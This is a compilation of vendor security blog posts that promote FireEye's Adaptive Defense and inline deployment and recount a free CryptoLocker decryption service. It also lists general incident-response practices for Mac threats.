As attacks change, defensive measures must evolve. We have learned the next-generation security architecture needs to be adaptive, nimble and have real long-term relevance. And we need to approach this with state-of-the-art products, highly skilled security experts and real-time threat intelligence.

We call this Adaptive Defense.

FireEye Adaptive Defense fully embraces the combination of FireEye and Mandiant, two companies that approached security from both sides of the security spectrum—detect and respond, respectively. By focusing on detection, FireEye created real-time, signature-less based methods to have situational awareness when attacks occur. By focusing on response, Mandiant developed the capability to rapidly and effectively contain these threats. Together, both organizations combine years of rigor and discipline obtaining the threat intelligence required to detect and respond to incidents.

These areas of focus represent the totality of the security problem the world faces today. We need to be able to prevent and detect the attacks we understand well enough to counter with technology. We need to analyze the environment to address the attacks that penetrate an organization’s perimeter and bypass preventive measures. And then ultimately, when we understand an attack well enough, contain it to get back to normal business operations. To succeed in today’s cyber-threat environment this cycle must shrink – from alert to fix in months, to alert to fix in minutes – in order to eliminate the consequences of a security breach.

That’s the compelling need FireEye Adaptive Defense addresses with today’s announcements. To learn more about what makes Adaptive Defense work, visit FireEye Threat Intelligence and FireEye as a Service.

DecryptCryptoLocker – A Success Story

About a month ago FireEye, in partnership with Fox-IT, released a free service to provide relief to CryptoLocker victims around the world. As early as September 2013, CryptoLocker started haunting computers of innocent computer users worldwide. The victims’ only mistake was innocuously clicking on a link in their email or browsing the Internet. The ransomware spread fast in UK, followed by the US, and then permeated the rest of the world.

A recent takedown named Operation Tovar helped bring down command and control infrastructure used by criminals to spread GameOver Zeus and its payload, cryptolocker. But taking down their servers was not enough. Thousands of victims were still left with infected systems and all their data held hostage. Even some of their backups and network shares were rendered useless. Some victims re-infected themselves, hoping to pay reduced amounts of ransom.

When the criminals accidentally gave us the keys, we realized this was an unprecedented opportunity to help give those victims with another chance to reclaim their digital property.

Since the introduction of this relief program, we have seen close to three thousand successful recoveries of ransomed data. Geographic distribution of the victims who used the service suggests most of them were within United States followed by United Kingdom, Canada, and Australia. The majority of these victims were using Windows operating systems with Chrome as their browser.

crypt01

We received great responses from everyone ranging from CTOs, IT Directors, to home users. One office manager who was going to spend all weekend preparing for a Monday morning audit responded with:

crypt02

A Support Manager from an IT service provider said:

“This is amazing. We had a client that got hit with this and ‘lost’ 17 years worth of data. I opted to keep the files and told them if there was ever a way to fix this, we’d have the data. I honestly never expected to recover the data.”

Cryptolocker’s multi-million monetary gains brought back a renewed interest in ransomware and it was followed by a plethora of imitators that started spreading and selling on black market. Decryptcryptolocker has helped in bringing back immeasurable amount of lost data back to people and hopefully enhanced user education.

Apple OS X: Security Through Obscurity is becoming an Absurdity

Today’s blog on a new Mac malware is a reminder that attackers go where the money is. Apple usage within the enterprise is growing rapidly, with 52 percent of newly issued computers being Macs according to Forrester. Forrester also highlights that executives and manager level employees often the prime targets of advanced attackers ­ represent 41 percent of enterprise Apple users.   And with more of the enterprise brain trust using the Mac platform, VIPs are a logical and rich target.  And now we see attackers simply porting Windows malware for Mac. The moral for security teams?  Today’s blog disproves the “security through obscurity” moniker traditionally associated with using Macs to stay safe. Security teams:  gear up now.

How do you do that?  Well, for starters, it is important to remember several fundamental security operations and incident response best practices that can help combat this and other threats:

  • Develop, continually improve, and follow a formal incident response process
  • Perform gap analysis to determine where “blind spots” in visibility may exist
  • Ensure proper network instrumentation to address any lack of network visibility
  • Ensure proper endpoint instrumentation across all operating system platforms
  • Leverage a rigorous content development process to create high fidelity alerting that produces a unified work queue with a high signal-to-noise ratio (ratio of true positives to false positives)
  • Practice Continuous Security Monitoring (CSM) to rapidly detect and respond to any potential breaches or intrusions
  • Strive for smooth operations to include ensuring that staff are adequately trained and equipped
  • Incorporate actionable intelligence
  • Participate actively in both formal and informal information sharing forums

There is no one silver bullet that will immediately quash all the risk presented by APT actors and other threats. Rather, as security leaders, we need to ensure that we put the people, process, and technology in place to properly manage the risk our organizations face on a daily basis. A formal, rigorous security operations and incident response program is a key component of this endeavor.

Why Bringing Your Network Security “Inline” Lines Up With Your Goals

An attacker can compromise a network and successfully exfiltrate data in less time than you might think.

The 2011 security breach of EMC’s RSA Security Division showed us that it only takes a few days, if not minutes, for cyber criminals to compromise a well-protected corporate network and launch an attack that would eventually cost at least $66M to remedy. Today’s cyber attacks are fast and hard hitting, sometimes happening so swiftly that qualified security personnel can’t triage the breach before it causes serious damage. In fact, as identified in our 2014 MTrends report, it takes organizations on average 229 days to detect a breach – and that detection is primarily done by third-parties!

Organizations can best protect themselves by leveraging real-time technology that can stop attackers in their tracks before they penetrate their targeted networks.

Getting In Line

Inline security solutions effectively defend against today’s fast-paced, evasive attacks on company networks. In the past, security professionals have weighed the risks of compromise from delayed detection and technology gaps versus the risks of potential traffic bottlenecks that were perceived with inline solutions.

Customers typically voice two issues with deploying inline technology, and they both stem from the concern that business needs to continue securely and uninterrupted.

The first of these issues is making sure the network remains functional and accessible, even if devices fail. Customers can’t afford a point of failure on a mission-critical network. But appropriate network design, internal or external fail-open kits, and associated software features significantly lessen the potential for network failure with inline solutions.

False positives have been another concern. Customers worry that filtering tools used to secure the network will cause significant extraneous noise, which potentially could keep them from detecting a true alert.

Most security administrators further fine-tune the signatures before deploying these products inline to adapt them to their environments. While this ensures that the security solutions do not impede business traffic (and this should be the first goal of any organization – run the business!), it lessens the impact of true, inline security.

Today’s evolving threat landscape of sophisticated, targeted attacks has emphasized a critical need for a scalable, secure solution to prevent the staggering outcomes of a successful breach.

The right type of solution balances the blocking power of true inline security with near-zero false positives. The FireEye Multi-Vector Virtual Execution (MVX) engine was designed to do just that. The FireEye MVX was the first technology to provide true multi-flow, multi-vector correlation of today’s advanced cyber threats. It does this by leveraging a virtual execution engine that mimics the end-user behavior to identify true threats and limit false alerts. The MVX is so accurate that across the FireEye customer base, a typical FireEye appliance gives customers 10 alerts/day instead of the hundreds or even thousands of alerts from other vendors that are made up almost entirely of false positives. With this accuracy, the time to investigate alerts and the associated costs are greatly reduced.

FireEye’s inline technology quickly has earned its customers’ trust. In May 2010, fewer than 15% of FireEye customers were using inline deployment mode. Since then, FireEye’s technology has proven itself as a trusted protection partner against advanced threats. As a result, nearly 50% of customers were inline deployment by the end of 2013, as seen in Figure 1.

inline1

Figure 1: The Percentage of FireEye Customers who Deploy FireEye Products Inline

This trend confirms what we’ve been hearing anecdotally from customers, and the numbers speak for themselves. Customers are confident about FireEye products’ ability to detect advanced attacks in real time with near-zero false positives. More and more of them are choosing to move beyond a detection-only solution to protecting against today’s advanced cyber attacks. Today, these customers are active proponents of inline FireEye deployments, not just as a must in their security framework, but also as a no-brainer in ensuring true, scalable inline security.